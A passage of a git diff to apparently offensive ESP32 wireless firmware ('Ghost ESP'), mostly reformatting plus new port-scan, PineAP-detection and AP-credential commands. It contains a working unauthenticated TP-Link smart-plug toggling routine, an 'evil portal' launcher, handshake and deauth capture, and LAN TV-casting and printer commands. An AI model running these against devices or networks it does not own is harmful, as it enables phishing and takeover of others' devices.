TERMINAL_VIEW_ADD_TEXT("Starting BLE Spam Detector.\n"); ble_start_blespam_detector(); return; } if (argc > 1 && strcmp(argv[1], "-a") == 0) { - printf("Starting AirTag Scanner...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting AirTag Scanner...\n"); + printf("Starting AirTag Scanner.\n"); + TERMINAL_VIEW_ADD_TEXT("Starting AirTag Scanner.\n"); ble_start_airtag_scanner(); return; } @@ -337,27 +310,25 @@ void handle_ble_scan_cmd(int argc, char**argv) } if (argc > 1 && strcmp(argv[1], "-s") == 0) { - printf("Stopping BLE Scan...\n"); - TERMINAL_VIEW_ADD_TEXT("Stopping BLE Scan...\n"); + printf("Stopping BLE Scan.\n"); + TERMINAL_VIEW_ADD_TEXT("Stopping BLE Scan.\n"); ble_stop(); return; } - printf("Invalid Command Syntax...\n"); - TERMINAL_VIEW_ADD_TEXT("Invalid Command Syntax...\n"); + printf("Invalid Command Syntax.\n"); + TERMINAL_VIEW_ADD_TEXT("Invalid Command Syntax.\n"); } #endif +void handle_start_portal(int argc, char **argv) { -void handle_start_portal(int argc, char **argv) -{ - - const char* URLorFilePath = settings_get_portal_url(&G_Settings); - const char* SSID = settings_get_portal_ssid(&G_Settings); - const char* Password = settings_get_portal_password(&G_Settings); - const char* AP_SSID = settings_get_portal_ap_ssid(&G_Settings); - const char* Domain = settings_get_portal_domain(&G_Settings); + const char *URLorFilePath = settings_get_portal_url(&G_Settings); + const char *SSID = settings_get_portal_ssid(&G_Settings); + const char *Password = settings_get_portal_password(&G_Settings); + const char *AP_SSID = settings_get_portal_ap_ssid(&G_Settings); + const char *Domain = settings_get_portal_domain(&G_Settings); bool offlinemode = settings_get_portal_offline_mode(&G_Settings); const char *url = URLorFilePath; @@ -366,22 +337,17 @@ void handle_start_portal(int argc, char **argv) const char *ap_ssid = AP_SSID; const char *domain = Domain; - if (argc == 6) - { + if (argc == 6) { url = (argv[1] && argv[1][0] != '\0') ? argv[1] : url; ssid = (argv[2] && argv[2][0] != '\0') ? argv[2] : ssid; password = (argv[3] && argv[3][0] != '\0') ? argv[3] : password; ap_ssid = (argv[4] && argv[4][0] != '\0') ? argv[4] : ap_ssid; domain = (argv[5] && argv[5][0] != '\0') ? argv[5] : domain; - } - else if (argc == 4) - { + } else if (argc == 4) { url = (argv[1] && argv[1][0] != '\0') ? argv[1] : url; ap_ssid = (argv[2] && argv[2][0] != '\0') ? argv[2] : ap_ssid; domain = (argv[3] && argv[3][0] != '\0') ? argv[3] : domain; - } - else if (argc != 1) - { + } else if (argc != 1) { printf("Error: Incorrect number of arguments.\n"); TERMINAL_VIEW_ADD_TEXT("Error: Incorrect number of arguments.\n"); printf("Usage: %s \n", argv[0]); @@ -393,7 +359,6 @@ void handle_start_portal(int argc, char **argv) return; } - if (url == NULL || url[0] == '\0') { printf("Error: URL or File Path cannot be empty.\n"); TERMINAL_VIEW_ADD_TEXT("Error: URL or File Path cannot be empty.\n"); @@ -413,22 +378,27 @@ void handle_start_portal(int argc, char **argv) } if (ssid && ssid[0] != '\0' && password && password[0] != '\0' && !offlinemode) { - printf("Starting portal with SSID: %s, Password: %s, AP_SSID: %s, Domain: %s\n", ssid, password, ap_ssid, domain); - TERMINAL_VIEW_ADD_TEXT("Starting portal with SSID: %s, Password: %s, AP_SSID: %s, Domain: %s\n", ssid, password, ap_ssid, domain); + printf("Starting portal with SSID: %s, Password: %s, AP_SSID: %s, Domain: " + "%s\n", + ssid, password, ap_ssid, domain); + TERMINAL_VIEW_ADD_TEXT("Starting portal with SSID: %s, Password: %s, " + "AP_SSID: %s, Domain: %s\n", + ssid, password, ap_ssid, domain); wifi_manager_start_evil_portal(url, ssid, password, ap_ssid, domain); - } - else if (offlinemode){ + } else if (offlinemode) { printf("Starting portal in offline mode with AP_SSID: %s, Domain: %s\n", ap_ssid, domain); - TERMINAL_VIEW_ADD_TEXT("Starting portal in offline mode with AP_SSID: %s, Domain: %s\n", ap_ssid, domain); + TERMINAL_VIEW_ADD_TEXT("Starting portal in offline mode with AP_SSID: %s, Domain: %s\n", + ap_ssid, domain); wifi_manager_start_evil_portal(url, NULL, NULL, ap_ssid, domain); } } -bool ip_str_to_bytes(const char* ip_str, uint8_t* ip_bytes) { +bool ip_str_to_bytes(const char *ip_str, uint8_t *ip_bytes) { int ip[4]; if (sscanf(ip_str, "%d.%d.%d.%d", &ip[0], &ip[1], &ip[2], &ip[3]) == 4) { for (int i = 0; i < 4; i++) { - if (ip[i] < 0 || ip[i] > 255) return false; + if (ip[i] < 0 || ip[i] > 255) + return false; ip_bytes[i] = (uint8_t)ip[i]; } return true; @@ -438,18 +408,19 @@ bool ip_str_to_bytes(const char* ip_str, uint8_t* ip_bytes) { bool mac_str_to_bytes(const char *mac_str, uint8_t *mac_bytes) { int mac[6]; - if (sscanf(mac_str, "%x:%x:%x:%x:%x:%x", &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]) == 6) { + if (sscanf(mac_str, "%x:%x:%x:%x:%x:%x", &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], + &mac[5]) == 6) { for (int i = 0; i < 6; i++) { - if (mac[i] < 0 || mac[i] > 255) return false; - mac_bytes[i] = (uint8_t) mac[i]; + if (mac[i] < 0 || mac[i] > 255) + return false; + mac_bytes[i] = (uint8_t)mac[i]; } return true; } return false; } -void encrypt_tp_link_command(const char *input, uint8_t *output, size_t len) -{ +void encrypt_tp_link_command(const char *input, uint8_t *output, size_t len) { uint8_t key = 171; for (size_t i = 0; i < len; i++) { output[i] = input[i] ^ key; @@ -457,8 +428,7 @@ void encrypt_tp_link_command(const char *input, uint8_t *output, size_t len) } } -void decrypt_tp_link_response(const uint8_t *input, char *output, size_t len) -{ +void decrypt_tp_link_response(const uint8_t *input, char *output, size_t len) { uint8_t key = 171; for (size_t i = 0; i < len; i++) { output[i] = input[i] ^ key; @@ -475,7 +445,6 @@ void handle_tp_link_test(int argc, char **argv) { bool isloop = false; - if (strcmp(argv[1], "loop") == 0) { isloop = true; } else if (strcmp(argv[1], "on") != 0 && strcmp(argv[1], "off") != 0) { @@ -483,30 +452,26 @@ void handle_tp_link_test(int argc, char **argv) { return; } - struct sockaddr_in dest_addr; memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.sin_addr.s_addr = inet_addr("255.255.255.255"); dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(9999); - int iterations = isloop ? 10 : 1; for (int i = 0; i < iterations; i++) { const char *command; if (isloop) { - command = (i % 2 == 0) ? - "{\"system\":{\"set_relay_state\":{\"state\":1}}}" : // "on" - "{\"system\":{\"set_relay_state\":{\"state\":0}}}"; // "off" + command = (i % 2 == 0) ? "{\"system\":{\"set_relay_state\":{\"state\":1}}}" : // "on" + "{\"system\":{\"set_relay_state\":{\"state\":0}}}"; // "off" } else { - - command = (strcmp(argv[1], "on") == 0) ? - "{\"system\":{\"set_relay_state\":{\"state\":1}}}" : - "{\"system\":{\"set_relay_state\":{\"state\":0}}}"; + + command = (strcmp(argv[1], "on") == 0) + ? "{\"system\":{\"set_relay_state\":{\"state\":1}}}" + : "{\"system\":{\"set_relay_state\":{\"state\":0}}}"; } - uint8_t encrypted_command[128]; memset(encrypted_command, 0, sizeof(encrypted_command)); @@ -518,20 +483,17 @@ void handle_tp_link_test(int argc, char **argv) { encrypt_tp_link_command(command, encrypted_command, command_len); - int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sock < 0) { printf("Failed to create socket: errno %d\n", errno); return; } - int broadcast = 1; setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &broadcast, sizeof(broadcast)); - - int err = sendto(sock, encrypted_command, command_len, 0, - (struct sockaddr *)&dest_addr, sizeof(dest_addr)); + int err = sendto(sock, encrypted_command, command_len, 0, (struct sockaddr *)&dest_addr, + sizeof(dest_addr)); if (err < 0) { printf("Error occurred during sending: errno %d\n", errno); TERMINAL_VIEW_ADD_TEXT("Error occurred during sending: errno %d\n", errno); @@ -542,14 +504,13 @@ void handle_tp_link_test(int argc, char **argv) { printf("Broadcast message sent: %s\n", command); TERMINAL_VIEW_ADD_TEXT("Broadcast message sent: %s\n", command); - struct timeval timeout = {2, 0}; setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); uint8_t recv_buf[128]; socklen_t addr_len = sizeof(dest_addr); - int len = recvfrom(sock, recv_buf, sizeof(recv_buf) - 1, 0, - (struct sockaddr *)&dest_addr, &addr_len); + int len = recvfrom(sock, recv_buf, sizeof(recv_buf) - 1, 0, (struct sockaddr *)&dest_addr, + &addr_len); if (len < 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) { printf("No response from any device\n"); @@ -566,23 +527,21 @@ void handle_tp_link_test(int argc, char **argv) { printf("Response: %s\n", decrypted_response); } - close(sock); - if (isloop && i < 9) { vTaskDelay(pdMS_TO_TICKS(700)); } } } -void handle_ip_lookup(int argc, char** argv) { +void handle_ip_lookup(int argc, char **argv) { printf("Starting IP lookup...\n"); TERMINAL_VIEW_ADD_TEXT("Starting IP lookup...\n"); wifi_manager_start_ip_lookup(); } -void handle_capture_scan(int argc, char** argv) { +void handle_capture_scan(int argc, char **argv) { if (argc != 2) { printf("Error: Incorrect number of arguments.\n"); TERMINAL_VIEW_ADD_TEXT("Error: Incorrect number of arguments.\n"); @@ -598,10 +557,10 @@ void handle_capture_scan(int argc, char** argv) { } if (strcmp(capturetype, "-probe") == 0) { - printf("Starting probe request capture...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting probe request capture...\n"); + printf("Starting probe request\npacket capture...\n"); + TERMINAL_VIEW_ADD_TEXT("Starting probe request\npacket capture...\n"); int err = pcap_file_open("probescan", PCAP_CAPTURE_WIFI); - + if (err != ESP_OK) { printf("Error: pcap failed to open\n"); TERMINAL_VIEW_ADD_TEXT("Error: pcap failed to open\n"); @@ -611,10 +570,10 @@ void handle_capture_scan(int argc, char** argv) { } if (strcmp(capturetype, "-deauth") == 0) { - printf("Starting deauth packet capture...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting deauth packet capture...\n"); + printf("Starting deauth\npacket capture...\n"); + TERMINAL_VIEW_ADD_TEXT("Starting deauth\npacket capture...\n"); int err = pcap_file_open("deauthscan", PCAP_CAPTURE_WIFI); - + if (err != ESP_OK) { printf("Error: pcap failed to open\n"); TERMINAL_VIEW_ADD_TEXT("Error: pcap failed to open\n"); @@ -624,10 +583,10 @@ void handle_capture_scan(int argc, char** argv) { } if (strcmp(capturetype, "-beacon") == 0) { - printf("Starting beacon packet capture...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting beacon packet capture...\n"); + printf("Starting beacon\npacket capture...\n"); + TERMINAL_VIEW_ADD_TEXT("Starting beacon\npacket capture...\n"); int err = pcap_file_open("beaconscan", PCAP_CAPTURE_WIFI); - + if (err != ESP_OK) { printf("Error: pcap failed to open\n"); TERMINAL_VIEW_ADD_TEXT("Error: pcap failed to open\n"); @@ -637,10 +596,10 @@ void handle_capture_scan(int argc, char** argv) { } if (strcmp(capturetype, "-raw") == 0) { - printf("Starting raw packet capture...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting raw packet capture...\n"); + printf("Starting raw\npacket capture...\n"); + TERMINAL_VIEW_ADD_TEXT("Starting raw\npacket capture...\n"); int err = pcap_file_open("rawscan", PCAP_CAPTURE_WIFI); - + if (err != ESP_OK) { printf("Error: pcap failed to open\n"); TERMINAL_VIEW_ADD_TEXT("Error: pcap failed to open\n"); @@ -650,10 +609,10 @@ void handle_capture_scan(int argc, char** argv) { } if (strcmp(capturetype, "-eapol") == 0) { - printf("Starting EAPOL packet capture...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting EAPOL packet capture...\n"); + printf("Starting EAPOL\npacket capture...\n"); + TERMINAL_VIEW_ADD_TEXT("Starting EAPOL\npacket capture...\n"); int err = pcap_file_open("eapolscan", PCAP_CAPTURE_WIFI); - + if (err != ESP_OK) { printf("Error: pcap failed to open\n"); TERMINAL_VIEW_ADD_TEXT("Error: pcap failed to open\n"); @@ -663,10 +622,10 @@ void handle_capture_scan(int argc, char** argv) { } if (strcmp(capturetype, "-pwn") == 0) { - printf("Starting PWN packet capture...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting PWN packet capture...\n"); + printf("Starting PWN\npacket capture...\n"); + TERMINAL_VIEW_ADD_TEXT("Starting PWN\npacket capture...\n"); int err = pcap_file_open("pwnscan", PCAP_CAPTURE_WIFI); - + if (err != ESP_OK) { printf("Error: pcap failed to open\n"); TERMINAL_VIEW_ADD_TEXT("Error: pcap failed to open\n"); @@ -676,12 +635,12 @@ void handle_capture_scan(int argc, char** argv) { } if (strcmp(capturetype, "-wps") == 0) { - printf("Starting WPS packet capture...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting WPS packet capture...\n"); + printf("Starting WPS\npacket capture...\n"); + TERMINAL_VIEW_ADD_TEXT("Starting WPS\npacket capture...\n"); int err = pcap_file_open("wpsscan", PCAP_CAPTURE_WIFI); should_store_wps = 0; - + if (err != ESP_OK) { printf("Error: pcap failed to open\n"); TERMINAL_VIEW_ADD_TEXT("Error: pcap failed to open\n"); @@ -708,31 +667,29 @@ void handle_capture_scan(int argc, char** argv) { } if (strcmp(capturetype, "-skimmer") == 0) { - printf("Starting BLE\nSkimmer detection...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting BLE\nSkimmer detection...\n"); - int err = pcap_file_open("skimmer_scan", PCAP_CAPTURE_BLUETOOTH); - if (err != ESP_OK) { - printf("Warning: PCAP capture failed to start\n"); - TERMINAL_VIEW_ADD_TEXT("Warning: PCAP capture failed to start\n"); - } else { - printf("PCAP capture started\nSuspicious devices will be logged\n"); - TERMINAL_VIEW_ADD_TEXT("PCAP capture started\nSuspicious devices will be logged\n"); - } + printf("Starting BLE\nSkimmer detection...\n"); + TERMINAL_VIEW_ADD_TEXT("Starting BLE\nSkimmer detection...\n"); + int err = pcap_file_open("skimmer_scan", PCAP_CAPTURE_BLUETOOTH); + if (err != ESP_OK) { + printf("Warning: PCAP capture failed to start\n"); + TERMINAL_VIEW_ADD_TEXT("Warning: PCAP capture failed to start\n"); + } else { + printf("PCAP capture started\nSuspicious devices will be logged\n"); + TERMINAL_VIEW_ADD_TEXT("PCAP capture started\nSuspicious devices will be logged\n"); + } // Start skimmer detection ble_start_skimmer_detection(); } #endif } -void stop_portal(int argc, char **argv) -{ +void stop_portal(int argc, char **argv) { wifi_manager_stop_evil_portal(); printf("Stopping evil portal...\n"); TERMINAL_VIEW_ADD_TEXT("Stopping evil portal...\n"); } -void handle_reboot(int argc, char **argv) -{ +void handle_reboot(int argc, char **argv) { printf("Rebooting system...\n"); TERMINAL_VIEW_ADD_TEXT("Rebooting system...\n"); esp_restart(); @@ -741,7 +698,6 @@ void handle_reboot(int argc, char **argv) void handle_startwd(int argc, char **argv) { bool stop_flag = false; - for (int i = 1; i < argc; i++) { if (strcmp(argv[i], "-s") == 0) { stop_flag = true; @@ -762,9 +718,63 @@ void handle_startwd(int argc, char **argv) { } } +void handle_scan_ports(int argc, char **argv) { + if (argc < 2) { + printf("Usage:\n"); + printf("scanports local [-C/-A/start_port-end_port]\n"); + printf("scanports [IP] [-C/-A/start_port-end_port]\n"); + return; + } + + bool is_local = strcmp(argv[1], "local") == 0; + const char *target_ip = NULL; + const char *port_arg = NULL; -void handle_crash(int argc, char **argv) -{ + // Parse arguments based on whether it's a local scan + if (is_local) { + if (argc < 3) { + printf("Missing port argument for local scan\n"); + return; + } + port_arg = argv[2]; + } else { + if (argc < 3) { + printf("Missing port argument for IP scan\n"); + return; + } + target_ip = argv[1]; + port_arg = argv[2]; + } + + if (is_local) { + wifi_manager_scan_subnet(); + return; + } + + host_result_t result; + if (strcmp(port_arg, "-C") == 0) { + scan_ports_on_host(target_ip, &result); + if (result.num_open_ports > 0) { + printf("Open ports on %s:\n", target_ip); + for (int i = 0; i < result.num_open_ports; i++) { + printf("Port %d\n", result.open_ports[i]); + } + } + } else { + int start_port, end_port; + if (strcmp(port_arg, "-A") == 0) { + start_port = 1; + end_port = 65535; + } else if (sscanf(port_arg, "%d-%d", &start_port, &end_port) != 2 || start_port < 1 || + end_port > 65535 || start_port > end_port) { + printf("Invalid port range\n"); + return; + } + scan_ip_port_range(target_ip, start_port, end_port); + } +} + +void handle_crash(int argc, char **argv) { int *ptr = NULL; *ptr = 42; } @@ -772,7 +782,7 @@ void handle_crash(int argc, char **argv) void handle_help(int argc, char **argv) { printf("\n Ghost ESP Commands:\n\n"); TERMINAL_VIEW_ADD_TEXT("\n Ghost ESP Commands:\n\n"); - + printf("help\n"); printf(" Description: Display this help message.\n"); printf(" Usage: help\n\n"); @@ -857,12 +867,14 @@ void handle_help(int argc, char **argv) { TERMINAL_VIEW_ADD_TEXT(" Usage: stopdeauth\n\n"); printf("select\n"); - printf(" Description: Select an access point by index from the scan results.\n"); + printf(" Description: Select an access point by index from the scan " + "results.\n"); printf(" Usage: select -a \n"); printf(" Arguments:\n"); printf(" -a : AP selection index (must be a valid number)\n\n"); TERMINAL_VIEW_ADD_TEXT("select\n"); - TERMINAL_VIEW_ADD_TEXT(" Description: Select an access point by index from the scan results.\n"); + TERMINAL_VIEW_ADD_TEXT(" Description: Select an access point by index " + "from the scan results.\n"); TERMINAL_VIEW_ADD_TEXT(" Usage: select -a \n"); TERMINAL_VIEW_ADD_TEXT(" Arguments:\n"); TERMINAL_VIEW_ADD_TEXT(" -a : AP selection index (must be a valid number)\n\n"); @@ -941,7 +953,6 @@ void handle_help(int argc, char **argv) { TERMINAL_VIEW_ADD_TEXT(" -pwn : Start Capturing Pwnagotchi Packets"); TERMINAL_VIEW_ADD_TEXT(" -stop : Stops the active capture\n\n"); - printf("connect\n"); printf(" Description: Connects to Specific WiFi Network\n"); printf(" Usage: connect \n"); @@ -950,21 +961,26 @@ void handle_help(int argc, char **argv) { TERMINAL_VIEW_ADD_TEXT(" Usage: connect \n"); printf("dialconnect\n"); - printf(" Description: Cast a Random Youtube Video on all Smart TV's on your LAN (Requires You to Run Connect First)\n"); + printf(" Description: Cast a Random Youtube Video on all Smart TV's on " + "your LAN (Requires You to Run Connect First)\n"); printf(" Usage: dialconnect\n"); TERMINAL_VIEW_ADD_TEXT("dialconnect\n"); - TERMINAL_VIEW_ADD_TEXT(" Description: Cast a Random Youtube Video on all Smart TV's on your LAN (Requires You to Run Connect First)\n"); + TERMINAL_VIEW_ADD_TEXT(" Description: Cast a Random Youtube Video on all Smart TV's on your " + "LAN (Requires You to Run Connect First)\n"); TERMINAL_VIEW_ADD_TEXT(" Usage: dialconnect\n"); - printf("powerprinter\n"); - printf(" Description: Print Custom Text to a Printer on your LAN (Requires You to Run Connect First)\n"); + printf(" Description: Print Custom Text to a Printer on your LAN " + "(Requires You to Run Connect First)\n"); printf(" Usage: powerprinter \n"); - printf(" aligment options: CM = Center Middle, TL = Top Left, TR = Top Right, BR = Bottom Right, BL = Bottom Left\n\n"); + printf(" aligment options: CM = Center Middle, TL = Top Left, TR = Top " + "Right, BR = Bottom Right, BL = Bottom Left\n\n"); TERMINAL_VIEW_ADD_TEXT("powerprinter\n"); - TERMINAL_VIEW_ADD_TEXT(" Description: Print Custom Text to a Printer on your LAN (Requires You to Run Connect First)\n"); + TERMINAL_VIEW_ADD_TEXT(" Description: Print Custom Text to a Printer on " + "your LAN (Requires You to Run Connect First)\n"); TERMINAL_VIEW_ADD_TEXT(" Usage: powerprinter \n"); - TERMINAL_VIEW_ADD_TEXT(" aligment options: CM = Center Middle, TL = Top Left, TR = Top Right, BR = Bottom Right, BL = Bottom Left\n\n"); + TERMINAL_VIEW_ADD_TEXT(" aligment options: CM = Center Middle, TL = Top Left, TR = Top " + "Right, BR = Bottom Right, BL = Bottom Left\n\n"); printf("blewardriving\n"); printf(" Description: Start/Stop BLE wardriving with GPS logging\n"); @@ -976,6 +992,40 @@ void handle_help(int argc, char **argv) { TERMINAL_VIEW_ADD_TEXT(" Usage: blewardriving [-s]\n"); TERMINAL_VIEW_ADD_TEXT(" Arguments:\n"); TERMINAL_VIEW_ADD_TEXT(" -s : Stop BLE wardriving\n\n"); + + printf("Port Scanner\n"); + printf(" Description: Scan ports on local subnet or specific IP\n"); + printf(" Usage: scanports local [-C/-A/start_port-end_port]\n"); + printf(" scanports [IP] [-C/-A/start_port-end_port]\n"); + printf(" Arguments:\n"); + printf(" -C : Scan common ports only\n"); + printf(" -A : Scan all ports (1-65535)\n"); + printf(" start_port-end_port : Custom port range (e.g. 80-443)\n\n"); + TERMINAL_VIEW_ADD_TEXT("Port Scanner\n"); + TERMINAL_VIEW_ADD_TEXT(" Description: Scan ports on local subnet or specific IP\n"); + TERMINAL_VIEW_ADD_TEXT(" Usage: scanports local [-C/-A/start_port-end_port]\n"); + TERMINAL_VIEW_ADD_TEXT(" scanports [IP] [-C/-A/start_port-end_port]\n"); + TERMINAL_VIEW_ADD_TEXT(" Arguments:\n"); + TERMINAL_VIEW_ADD_TEXT(" -C : Scan common ports only\n"); + TERMINAL_VIEW_ADD_TEXT(" -A : Scan all ports (1-65535)\n"); + TERMINAL_VIEW_ADD_TEXT(" start_port-end_port : Custom port range (e.g. 80-443)\n\n"); + + printf("apcred\n"); + printf(" Description: Change or reset the GhostNet AP credentials\n"); + printf(" Usage: apcred \n"); + printf(" apcred -r (reset to defaults)\n"); + printf(" Arguments:\n"); + printf(" : New SSID for the AP\n"); + printf(" : New password (min 8 characters)\n"); + printf(" -r : Reset to default (GhostNet/GhostNet)\n\n"); + TERMINAL_VIEW_ADD_TEXT("apcred\n"); + TERMINAL_VIEW_ADD_TEXT(" Description: Change or reset the GhostNet AP credentials\n"); + TERMINAL_VIEW_ADD_TEXT(" Usage: apcred \n"); + TERMINAL_VIEW_ADD_TEXT(" apcred -r (reset to defaults)\n"); + TERMINAL_VIEW_ADD_TEXT(" Arguments:\n"); + TERMINAL_VIEW_ADD_TEXT(" : New SSID for the AP\n"); + TERMINAL_VIEW_ADD_TEXT(" : New password (min 8 characters)\n"); + TERMINAL_VIEW_ADD_TEXT(" -r : Reset to default (GhostNet/GhostNet)\n\n"); } void handle_capture(int argc, char **argv) { @@ -1008,12 +1058,18 @@ void handle_gps_info(int argc, char **argv) { if (gps_info_task_handle != NULL) { vTaskDelete(gps_info_task_handle); gps_info_task_handle = NULL; + gps_manager_deinit(&g_gpsManager); printf("GPS info display stopped.\n"); TERMINAL_VIEW_ADD_TEXT("GPS info display stopped.\n"); } } else { if (gps_info_task_handle == NULL) { gps_manager_init(&g_gpsManager); + + // Wait a brief moment for GPS initialization + vTaskDelay(pdMS_TO_TICKS(100)); + + // Start the info display task xTaskCreate(gps_info_display_task, "gps_info", 4096, NULL, 1, &gps_info_task_handle); printf("GPS info display started.\n"); TERMINAL_VIEW_ADD_TEXT("GPS info display started.\n"); @@ -1024,7 +1080,7 @@ void handle_gps_info(int argc, char **argv) { #ifndef CONFIG_IDF_TARGET_ESP32S2 void handle_ble_wardriving(int argc, char **argv) { bool stop_flag = false; - + for (int i = 1; i < argc; i++) { if (strcmp(argv[i], "-s") == 0) { stop_flag = true; @@ -1035,7 +1091,9 @@ void handle_ble_wardriving(int argc, char **argv) { if (stop_flag) { ble_stop(); gps_manager_deinit(&g_gpsManager); - csv_flush_buffer_to_file(); + if (buffer_offset > 0) { // Only flush if there's data in buffer + csv_flush_buffer_to_file(); + } csv_file_close(); printf("BLE wardriving stopped.\n"); TERMINAL_VIEW_ADD_TEXT("BLE wardriving stopped.\n"); @@ -1043,14 +1101,14 @@ void handle_ble_wardriving(int argc, char **argv) { if (!g_gpsManager.isinitilized) { gps_manager_init(&g_gpsManager); } - + // Open CSV file for BLE wardriving esp_err_t err = csv_file_open("ble_wardriving"); if (err != ESP_OK) { printf("Failed to open CSV file for BLE wardriving\n"); return; } - + ble_register_handler(ble_wardriving_callback); ble_start_scanning(); printf("BLE wardriving started.\n"); @@ -1059,6 +1117,96 @@ void handle_ble_wardriving(int argc, char **argv) { } #endif +void handle_pineap_detection(int argc, char **argv) { + if (argc > 1 && strcmp(argv[1], "-s") == 0) { + printf("Stopping PineAP detection...\n"); + TERMINAL_VIEW_ADD_TEXT("Stopping PineAP detection...\n"); + stop_pineap_detection(); + wifi_manager_stop_monitor_mode(); + pcap_file_close(); + return; + } + // Open PCAP file for logging detections + int err = pcap_file_open("pineap_detection", PCAP_CAPTURE_WIFI); + if (err != ESP_OK) { + printf("Warning: Failed to open PCAP file for logging\n"); + TERMINAL_VIEW_ADD_TEXT("Warning: Failed to open PCAP file for logging\n"); + } + + // Start PineAP detection with channel hopping + start_pineap_detection(); + wifi_manager_start_monitor_mode(wifi_pineap_detector_callback); + + printf("Monitoring for PineAP\n activity\n\n"); + TERMINAL_VIEW_ADD_TEXT("Monitoring for PineAP\n activity\n\n"); +} + +void handle_apcred(int argc, char **argv) { + if (argc < 2) { + printf("Usage: apcred \n"); + printf(" apcred -r (reset to defaults)\n"); + TERMINAL_VIEW_ADD_TEXT("Usage:\napcred \n"); + TERMINAL_VIEW_ADD_TEXT("apcred -r\n"); + return; + } + + // Check for reset flag + if (argc == 2 && strcmp(argv[1], "-r") == 0) { + // Set empty strings to trigger default values + settings_set_ap_ssid(&G_Settings, ""); + settings_set_ap_password(&G_Settings, ""); + settings_save(&G_Settings); + ap_manager_stop_services(); + esp_err_t err = ap_manager_start_services(); + if (err != ESP_OK) { + printf("Error resetting AP: %s\n", esp_err_to_name(err)); + TERMINAL_VIEW_ADD_TEXT("Error resetting AP:\n%s\n", esp_err_to_name(err)); + return; + } + + printf("AP credentials reset to defaults (SSID: GhostNet, Password: GhostNet)\n"); + TERMINAL_VIEW_ADD_TEXT("AP reset to defaults:\nSSID: GhostNet\nPSK: GhostNet\n"); + return; + } + + if (argc != 3) { + printf("Error: Incorrect number of arguments.\n"); + TERMINAL_VIEW_ADD_TEXT("Error: Bad args\n"); + return; + } + + const char *new_ssid = argv[1]; + const char *new_password = argv[2]; + + if (strlen(new_password) < 8) { + printf("Error: Password must be at least 8 characters\n"); + TERMINAL_VIEW_ADD_TEXT("Error: Password must\nbe 8+ chars\n"); + return; + } + + settings_set_ap_ssid(&G_Settings, new_ssid); + settings_set_ap_password(&G_Settings, new_password); + settings_save(&G_Settings); + const char *saved_ssid = settings_get_ap_ssid(&G_Settings); + const char *saved_password = settings_get_ap_password(&G_Settings); + if (strcmp(saved_ssid, new_ssid) != 0 || strcmp(saved_password, new_password) != 0) { + printf("Error: Failed to save AP credentials\n"); + TERMINAL_VIEW_ADD_TEXT("Error: Failed to\nsave credentials\n"); + return; + } + + ap_manager_stop_services(); + esp_err_t err = ap_manager_start_services(); + if (err != ESP_OK) { + printf("Error restarting AP: %s\n", esp_err_to_name(err)); + TERMINAL_VIEW_ADD_TEXT("Error restart AP:\n%s\n", esp_err_to_name(err)); + return; + } + + printf("AP credentials updated - SSID: %s, Password: %s\n", saved_ssid, saved_password); + TERMINAL_VIEW_ADD_TEXT("AP updated:\nSSID: %s\n", saved_ssid); +} + void register_commands() { register_command("help", handle_help); register_command("scanap", cmd_wifi_scan_start); @@ -1082,6 +1230,7 @@ void register_commands() { register_command("reboot", handle_reboot); register_command("startwd", handle_startwd); register_command("gpsinfo", handle_gps_info); + register_command("scanports", handle_scan_ports); #ifndef CONFIG_IDF_TARGET_ESP32S2 register_command("blescan", handle_ble_scan_cmd); register_command("blewardriving", handle_ble_wardriving); @@ -1089,6 +1238,8 @@ void register_commands() { #ifdef DEBUG register_command("crash", handle_crash); // For Debugging #endif + register_command("pineap", handle_pineap_detection); + register_command("apcred", handle_apcred); printf("Registered Commands\n"); TERMINAL_VIEW_ADD_TEXT("Registered Commands\n"); } diff --git a/main/core/dns_server.c b/main/core/dns_server.c index 1e69e796..403d7916 100644 --- a/main/core/dns_server.c +++ b/main/core/dns_server.c @@ -4,19 +4,19 @@ * SPDX-License-Identifier: Unlicense OR CC0-1.0 */ -#include #include +#include -#include "esp_log.h" -#include "esp_system.h" #include "esp_check.h" +#include "esp_log.h" #include "esp_netif.h" +#include "esp_system.h" +#include "core/dns_server.h" #include "lwip/err.h" +#include "lwip/netdb.h" #include "lwip/sockets.h" #include "lwip/sys.h" -#include "lwip/netdb.h" -#include "core/dns_server.h" #define DNS_PORT (53) #define DNS_MAX_LEN (256) @@ -29,262 +29,274 @@ static const char *TAG = "dns_redirect_server"; // DNS Header Packet -typedef struct __attribute__((__packed__)) -{ - uint16_t id; - uint16_t flags; - uint16_t qd_count; - uint16_t an_count; - uint16_t ns_count; - uint16_t ar_count; +typedef struct __attribute__((__packed__)) { + uint16_t id; + uint16_t flags; + uint16_t qd_count; + uint16_t an_count; + uint16_t ns_count; + uint16_t ar_count; } dns_header_t; // DNS Question Packet typedef struct { - uint16_t type; - uint16_t class; + uint16_t type; + uint16_t class; } dns_question_t; // DNS Answer Packet -typedef struct __attribute__((__packed__)) -{ - uint16_t ptr_offset; - uint16_t type; - uint16_t class; - uint32_t ttl; - uint16_t addr_len; - uint32_t ip_addr; +typedef struct __attribute__((__packed__)) { + uint16_t ptr_offset; + uint16_t type; + uint16_t class; + uint32_t ttl; + uint16_t addr_len; + uint32_t ip_addr; } dns_answer_t; // DNS server handle struct dns_server_handle { - bool started; - TaskHandle_t task; - int num_of_entries; - dns_entry_pair_t entry[]; + bool started; + TaskHandle_t task; + int num_of_entries; + dns_entry_pair_t entry[]; }; /* - Parse the name from the packet from the DNS name format to a regular .-seperated name - returns the pointer to the next part of the packet + Parse the name from the packet from the DNS name format to a regular + .-seperated name returns the pointer to the next part of the packet */ -static char *parse_dns_name(char *raw_name, char *parsed_name, size_t parsed_name_max_len) -{ - - char *label = raw_name; - char 